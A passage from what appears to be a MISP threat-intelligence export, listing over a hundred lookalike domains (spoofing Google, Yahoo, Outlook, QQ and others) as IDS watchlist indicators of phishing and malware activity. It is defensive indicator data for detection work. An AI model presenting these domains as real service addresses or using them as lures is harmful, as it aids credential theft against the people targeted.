for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-youxinpai.com (MISP Attribute #15962) + Malware Artifacts + Domain Watchlist + Network activity: mail-youxinpai.com (MISP Attribute #15962) + + + + + mail-youxinpai.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: accounts-gooog1e.asia (MISP Attribute #15963) + Malware Artifacts + Domain Watchlist + Network activity: accounts-gooog1e.asia (MISP Attribute #15963) + + + + + accounts-gooog1e.asia + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: accounts-gooog1e.online (MISP Attribute #15964) + Malware Artifacts + Domain Watchlist + Network activity: accounts-gooog1e.online (MISP Attribute #15964) + + + + + accounts-gooog1e.online + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-guazi.space (MISP Attribute #15965) + Malware Artifacts + Domain Watchlist + Network activity: mail-guazi.space (MISP Attribute #15965) + + + + + mail-guazi.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-sina.space (MISP Attribute #15966) + Malware Artifacts + Domain Watchlist + Network activity: mail-sina.space (MISP Attribute #15966) + + + + + mail-sina.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: winupdate.space (MISP Attribute #15967) + Malware Artifacts + Domain Watchlist + Network activity: winupdate.space (MISP Attribute #15967) + + + + + winupdate.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: ymail-settings.space (MISP Attribute #15968) + Malware Artifacts + Domain Watchlist + Network activity: ymail-settings.space (MISP Attribute #15968) + + + + + ymail-settings.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-modular.space (MISP Attribute #15970) + Malware Artifacts + Domain Watchlist + Network activity: mail-modular.space (MISP Attribute #15970) + + + + + mail-modular.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: login-live.space (MISP Attribute #15972) + Malware Artifacts + Domain Watchlist + Network activity: login-live.space (MISP Attribute #15972) + + + + + login-live.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: logln-yahoo.com (MISP Attribute #15973) + Malware Artifacts + Domain Watchlist + Network activity: logln-yahoo.com (MISP Attribute #15973) + + + + + logln-yahoo.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: webmail-mpt.space (MISP Attribute #15974) + Malware Artifacts + Domain Watchlist + Network activity: webmail-mpt.space (MISP Attribute #15974) + + + + + webmail-mpt.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: wengiguowengui.space (MISP Attribute #15975) + Malware Artifacts + Domain Watchlist + Network activity: wengiguowengui.space (MISP Attribute #15975) + + + + + wengiguowengui.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: yahoo-verification.us (MISP Attribute #15730) + Malware Artifacts + Domain Watchlist + Network activity: yahoo-verification.us (MISP Attribute #15730) + + + + + yahoo-verification.us + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: drive-mail.us (MISP Attribute #15736) + Malware Artifacts + Domain Watchlist + Network activity: drive-mail.us (MISP Attribute #15736) + + + + + drive-mail.us + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: docs-mail-google.us (MISP Attribute #15738) + Malware Artifacts + Domain Watchlist + Network activity: docs-mail-google.us (MISP Attribute #15738) + + + + + docs-mail-google.us + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: login-live.us (MISP Attribute #15739) + Malware Artifacts + Domain Watchlist + Network activity: login-live.us (MISP Attribute #15739) + + + + + login-live.us + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: drive-mail.info (MISP Attribute #15780) + Malware Artifacts + Domain Watchlist + Network activity: drive-mail.info (MISP Attribute #15780) + + + + + drive-mail.info + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: gooog1e.com (MISP Attribute #15786) + Malware Artifacts + Domain Watchlist + Network activity: gooog1e.com (MISP Attribute #15786) + + + + + gooog1e.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-defense.space (MISP Attribute #16043) + Malware Artifacts + Domain Watchlist + Network activity: mail-defense.space (MISP Attribute #16043) + + + + + mail-defense.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: drive-goog1e.com (MISP Attribute #15788) + Malware Artifacts + Domain Watchlist + Network activity: drive-goog1e.com (MISP Attribute #15788) + + + + + drive-goog1e.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: files-gooog1e.space (MISP Attribute #16044) + Malware Artifacts + Domain Watchlist + Network activity: files-gooog1e.space (MISP Attribute #16044) + + + + + files-gooog1e.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mydrive-mail.asia (MISP Attribute #15789) + Malware Artifacts + Domain Watchlist + Network activity: mydrive-mail.asia (MISP Attribute #15789) + + + + + mydrive-mail.asia + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-extend.space (MISP Attribute #16045) + Malware Artifacts + Domain Watchlist + Network activity: mail-extend.space (MISP Attribute #16045) + + + + + mail-extend.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: accounts-gooog1e.info (MISP Attribute #15790) + Malware Artifacts + Domain Watchlist + Network activity: accounts-gooog1e.info (MISP Attribute #15790) + + + + + accounts-gooog1e.info + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-secret.info (MISP Attribute #15792) + Malware Artifacts + Domain Watchlist + Network activity: mail-secret.info (MISP Attribute #15792) + + + + + mail-secret.info + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: myaccounts-mail.com (MISP Attribute #15793) + Malware Artifacts + Domain Watchlist + Network activity: myaccounts-mail.com (MISP Attribute #15793) + + + + + myaccounts-mail.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: yahoo-edit.us (MISP Attribute #15794) + Malware Artifacts + Domain Watchlist + Network activity: yahoo-edit.us (MISP Attribute #15794) + + + + + yahoo-edit.us + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: account-gooogle.info (MISP Attribute #15796) + Malware Artifacts + Domain Watchlist + Network activity: account-gooogle.info (MISP Attribute #15796) + + + + + account-gooogle.info + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: outlook-login.com (MISP Attribute #15797) + Malware Artifacts + Domain Watchlist + Network activity: outlook-login.com (MISP Attribute #15797) + + + + + outlook-login.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: accounts-mail.space (MISP Attribute #15799) + Malware Artifacts + Domain Watchlist + Network activity: accounts-mail.space (MISP Attribute #15799) + + + + + accounts-mail.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-platform.space (MISP Attribute #16064) + Malware Artifacts + Domain Watchlist + Network activity: mail-platform.space (MISP Attribute #16064) + + + + + mail-platform.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: google-protected.gq (MISP Attribute #15553) + Malware Artifacts + Domain Watchlist + Network activity: google-protected.gq (MISP Attribute #15553) + + + + + google-protected.gq + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-info.space (MISP Attribute #16065) + Malware Artifacts + Domain Watchlist + Network activity: mail-info.space (MISP Attribute #16065) + + + + + mail-info.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: https-mail-google.ml (MISP Attribute #15554) + Malware Artifacts + Domain Watchlist + Network activity: https-mail-google.ml (MISP Attribute #15554) + + + + + https-mail-google.ml + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: drive-goo.space (MISP Attribute #16066) + Malware Artifacts + Domain Watchlist + Network activity: drive-goo.space (MISP Attribute #16066) + + + + + drive-goo.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: httpsmail-google.cf (MISP Attribute #15555) + Malware Artifacts + Domain Watchlist + Network activity: httpsmail-google.cf (MISP Attribute #15555) + + + + + httpsmail-google.cf + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: webmail-dalailama.space (MISP Attribute #16067) + Malware Artifacts + Domain Watchlist + Network activity: webmail-dalailama.space (MISP Attribute #16067) + + + + + webmail-dalailama.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: https-mail-google.gq (MISP Attribute #15556) + Malware Artifacts + Domain Watchlist + Network activity: https-mail-google.gq (MISP Attribute #15556) + + + + + https-mail-google.gq + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: cc-mail-secret.com (MISP Attribute #15812) + Malware Artifacts + Domain Watchlist + Network activity: cc-mail-secret.com (MISP Attribute #15812) + + + + + cc-mail-secret.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: xin-corp.space (MISP Attribute #16068) + Malware Artifacts + Domain Watchlist + Network activity: xin-corp.space (MISP Attribute #16068) + + + + + xin-corp.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: google-secure.gq (MISP Attribute #15557) + Malware Artifacts + Domain Watchlist + Network activity: google-secure.gq (MISP Attribute #15557) + + + + + google-secure.gq + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: accounts-goog1e.info (MISP Attribute #15813) + Malware Artifacts + Domain Watchlist + Network activity: accounts-goog1e.info (MISP Attribute #15813) + + + + + accounts-goog1e.info + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-defend.space (MISP Attribute #16069) + Malware Artifacts + Domain Watchlist + Network activity: mail-defend.space (MISP Attribute #16069) + + + + + mail-defend.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: drive-mail.online (MISP Attribute #15814) + Malware Artifacts + Domain Watchlist + Network activity: drive-mail.online (MISP Attribute #15814) + + + + + drive-mail.online + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: appinstall-mail.space (MISP Attribute #16070) + Malware Artifacts + Domain Watchlist + Network activity: appinstall-mail.space (MISP Attribute #16070) + + + + + appinstall-mail.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: gmail-profile.com (MISP Attribute #15559) + Malware Artifacts + Domain Watchlist + Network activity: gmail-profile.com (MISP Attribute #15559) + + + + + gmail-profile.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: accounts-gooog1e.space (MISP Attribute #15815) + Malware Artifacts + Domain Watchlist + Network activity: accounts-gooog1e.space (MISP Attribute #15815) + + + + + accounts-gooog1e.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: edit-ymail.space (MISP Attribute #16071) + Malware Artifacts + Domain Watchlist + Network activity: edit-ymail.space (MISP Attribute #16071) + + + + + edit-ymail.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: myaccounts-gooog1e.space (MISP Attribute #15816) + Malware Artifacts + Domain Watchlist + Network activity: myaccounts-gooog1e.space (MISP Attribute #15816) + + + + + myaccounts-gooog1e.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: hotmail-sign.com (MISP Attribute #15561) + Malware Artifacts + Domain Watchlist + Network activity: hotmail-sign.com (MISP Attribute #15561) + + + + + hotmail-sign.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: webmail-dalailama.com (MISP Attribute #15817) + Malware Artifacts + Domain Watchlist + Network activity: webmail-dalailama.com (MISP Attribute #15817) + + + + + webmail-dalailama.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: yahoo-images.com (MISP Attribute #15562) + Malware Artifacts + Domain Watchlist + Network activity: yahoo-images.com (MISP Attribute #15562) + + + + + yahoo-images.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: yahoo-safety.com (MISP Attribute #15563) + Malware Artifacts + Domain Watchlist + Network activity: yahoo-safety.com (MISP Attribute #15563) + + + + + yahoo-safety.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: google-post.com (MISP Attribute #15564) + Malware Artifacts + Domain Watchlist + Network activity: google-post.com (MISP Attribute #15564) + + + + + google-post.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: yahoo-protect.com (MISP Attribute #15565) + Malware Artifacts + Domain Watchlist + Network activity: yahoo-protect.com (MISP Attribute #15565) + + + + + yahoo-protect.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: gmail-safety.pw (MISP Attribute #15566) + Malware Artifacts + Domain Watchlist + Network activity: gmail-safety.pw (MISP Attribute #15566) + + + + + gmail-safety.pw + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: httpsdrive-google.pw (MISP Attribute #15567) + Malware Artifacts + Domain Watchlist + Network activity: httpsdrive-google.pw (MISP Attribute #15567) + + + + + httpsdrive-google.pw + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-doubt.com (MISP Attribute #15568) + Malware Artifacts + Domain Watchlist + Network activity: mail-doubt.com (MISP Attribute #15568) + + + + + mail-doubt.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: yahoomaintain.com (MISP Attribute #15569) + Malware Artifacts + Domain Watchlist + Network activity: yahoomaintain.com (MISP Attribute #15569) + + + + + yahoomaintain.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: t1bet.net (MISP Attribute #15570) + Malware Artifacts + Domain Watchlist + Network activity: t1bet.net (MISP Attribute #15570) + + + + + t1bet.net + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-aol.space (MISP Attribute #15826) + Malware Artifacts + Domain Watchlist + Network activity: mail-aol.space (MISP Attribute #15826) + + + + + mail-aol.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: google-secret.com (MISP Attribute #15571) + Malware Artifacts + Domain Watchlist + Network activity: google-secret.com (MISP Attribute #15571) + + + + + google-secret.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-epochtimes.space (MISP Attribute #15827) + Malware Artifacts + Domain Watchlist + Network activity: mail-epochtimes.space (MISP Attribute #15827) + + + + + mail-epochtimes.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: accountsgoog1e.info (MISP Attribute #15572) + Malware Artifacts + Domain Watchlist + Network activity: accountsgoog1e.info (MISP Attribute #15572) + + + + + accountsgoog1e.info + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: accounts-email.space (MISP Attribute #15828) + Malware Artifacts + Domain Watchlist + Network activity: accounts-email.space (MISP Attribute #15828) + + + + + accounts-email.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: accounts-google.info (MISP Attribute #15573) + Malware Artifacts + Domain Watchlist + Network activity: accounts-google.info (MISP Attribute #15573) + + + + + accounts-google.info + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: accounts-goog1e.com (MISP Attribute #15574) + Malware Artifacts + Domain Watchlist + Network activity: accounts-goog1e.com (MISP Attribute #15574) + + + + + accounts-goog1e.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: files-mail.space (MISP Attribute #15830) + Malware Artifacts + Domain Watchlist + Network activity: files-mail.space (MISP Attribute #15830) + + + + + files-mail.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: postmailsecret.com (MISP Attribute #15576) + Malware Artifacts + Domain Watchlist + Network activity: postmailsecret.com (MISP Attribute #15576) + + + + + postmailsecret.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: httpsaccounts-google.pw (MISP Attribute #15577) + Malware Artifacts + Domain Watchlist + Network activity: httpsaccounts-google.pw (MISP Attribute #15577) + + + + + httpsaccounts-google.pw + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: httpsaccounts-google.com (MISP Attribute #15578) + Malware Artifacts + Domain Watchlist + Network activity: httpsaccounts-google.com (MISP Attribute #15578) + + + + + httpsaccounts-google.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: httpsdrive-google.site (MISP Attribute #15580) + Malware Artifacts + Domain Watchlist + Network activity: httpsdrive-google.site (MISP Attribute #15580) + + + + + httpsdrive-google.site + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: https-drive-google.com (MISP Attribute #15581) + Malware Artifacts + Domain Watchlist + Network activity: https-drive-google.com (MISP Attribute #15581) + + + + + https-drive-google.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: httpsdrive-accounts-google.site (MISP Attribute #15582) + Malware Artifacts + Domain Watchlist + Network activity: httpsdrive-accounts-google.site (MISP Attribute #15582) + + + + + httpsdrive-accounts-google.site + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: httpsaccounts-google.site (MISP Attribute #15583) + Malware Artifacts + Domain Watchlist + Network activity: httpsaccounts-google.site (MISP Attribute #15583) + + + + + httpsaccounts-google.site + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: httpsmyaccounts-google.space (MISP Attribute #15585) + Malware Artifacts + Domain Watchlist + Network activity: httpsmyaccounts-google.space (MISP Attribute #15585) + + + + + httpsmyaccounts-google.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: httpsaccounts-google.info (MISP Attribute #15586) + Malware Artifacts + Domain Watchlist + Network activity: httpsaccounts-google.info (MISP Attribute #15586) + + + + + httpsaccounts-google.info + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mydrive-google.com (MISP Attribute #15587) + Malware Artifacts + Domain Watchlist + Network activity: mydrive-google.com (MISP Attribute #15587) + + + + + mydrive-google.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: httpsmyaccount-google.info (MISP Attribute #15588) + Malware Artifacts + Domain Watchlist + Network activity: httpsmyaccount-google.info (MISP Attribute #15588) + + + + + httpsmyaccount-google.info + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: httpsdrive-google.net (MISP Attribute #15589) + Malware Artifacts + Domain Watchlist + Network activity: httpsdrive-google.net (MISP Attribute #15589) + + + + + httpsdrive-google.net + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: drive-accounts-google.com (MISP Attribute #15590) + Malware Artifacts + Domain Watchlist + Network activity: drive-accounts-google.com (MISP Attribute #15590) + + + + + drive-accounts-google.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: myaccountsgoogle.info (MISP Attribute #15591) + Malware Artifacts + Domain Watchlist + Network activity: myaccountsgoogle.info (MISP Attribute #15591) + + + + + myaccountsgoogle.info + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mg-mail-yahoo.us (MISP Attribute #15593) + Malware Artifacts + Domain Watchlist + Network activity: mg-mail-yahoo.us (MISP Attribute #15593) + + + + + mg-mail-yahoo.us + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: files-mail-qq.online (MISP Attribute #15594) + Malware Artifacts + Domain Watchlist + Network activity: files-mail-qq.online (MISP Attribute #15594) + + + + + files-mail-qq.online + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mydrive-google.asia (MISP Attribute #15595) + Malware Artifacts + Domain Watchlist + Network activity: mydrive-google.asia (MISP Attribute #15595) + + + + + mydrive-google.asia + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: drivegoogle.biz (MISP Attribute #15596) + Malware Artifacts + Domain Watchlist + Network activity: drivegoogle.biz (MISP Attribute #15596) + + + + + drivegoogle.biz + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: myaccounts-google.online (MISP Attribute #15597) + Malware Artifacts + Domain Watchlist + Network activity: myaccounts-google.online (MISP Attribute #15597) + + + + + myaccounts-google.online + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-gooog1e.info (MISP Attribute #15853) + Malware Artifacts + Domain Watchlist + Network activity: mail-gooog1e.info (MISP Attribute #15853) + + + + + mail-gooog1e.info + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-qq.online (MISP Attribute #15598) + Malware Artifacts + Domain Watchlist + Network activity: mail-qq.online (MISP Attribute #15598) + + + + + mail-qq.online + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mydrive-google.online (MISP Attribute #15599) + Malware Artifacts + Domain Watchlist + Network activity: mydrive-google.online (MISP Attribute #15599) + + + + + mydrive-google.online + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-protect.space (MISP Attribute #15855) + Malware Artifacts + Domain Watchlist + Network activity: mail-protect.space (MISP Attribute #15855) + + + + + mail-protect.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: myaccounts-google.info (MISP Attribute #15600) + Malware Artifacts + Domain Watchlist + Network activity: myaccounts-google.info (MISP Attribute #15600) + + + + + myaccounts-google.info + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: drive-mail-google.cf (MISP Attribute #15601) + Malware Artifacts + Domain Watchlist + Network activity: drive-mail-google.cf (MISP Attribute #15601) + + + + + drive-mail-google.cf + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-accounts-google.online (MISP Attribute #15602) + Malware Artifacts + Domain Watchlist + Network activity: mail-accounts-google.online (MISP Attribute #15602) + + + + + mail-accounts-google.online + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: httpsdrive-google.space (MISP Attribute #15603) + Malware Artifacts + Domain Watchlist + Network activity: httpsdrive-google.space (MISP Attribute #15603) + + + + + httpsdrive-google.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: httpsmail-google.ml (MISP Attribute #15604) + Malware Artifacts + Domain Watchlist + Network activity: httpsmail-google.ml (MISP Attribute #15604) + + + + + httpsmail-google.ml + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: drive-accounts-gooogle.com (MISP Attribute #15605) + Malware Artifacts + Domain Watchlist + Network activity: drive-accounts-gooogle.com (MISP Attribute #15605) + + + + + drive-accounts-gooogle.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: https-myaccounts-google.space (MISP Attribute #15606) + Malware Artifacts + Domain Watchlist + Network activity: https-myaccounts-google.space (MISP Attribute #15606) + + + + + https-myaccounts-google.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: drive-mail-google.com (MISP Attribute #15608) + Malware Artifacts + Domain Watchlist + Network activity: drive-mail-google.com (MISP Attribute #15608) + + + + + drive-mail-google.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: https-drive-google.gq (MISP Attribute #15609) + Malware Artifacts + Domain Watchlist + Network activity: https-drive-google.gq (MISP Attribute #15609) + + + + + https-drive-google.gq + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: email-163.space (MISP Attribute #15865) + Malware Artifacts + Domain Watchlist + Network activity: email-163.space (MISP Attribute #15865) + + + + + email-163.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: drive-gooog1e.space (MISP Attribute #15866) + Malware Artifacts + Domain Watchlist + Network activity: drive-gooog1e.space (MISP Attribute #15866) + + + + + drive-gooog1e.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: httpsdrive-mail-google.gq (MISP Attribute #15612) + Malware Artifacts + Domain Watchlist + Network activity: httpsdrive-mail-google.gq (MISP Attribute #15612) + + + + + httpsdrive-mail-google.gq + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-attachment-usercontent.space (MISP Attribute #15868) + Malware Artifacts + Domain Watchlist + Network activity: mail-attachment-usercontent.space (MISP 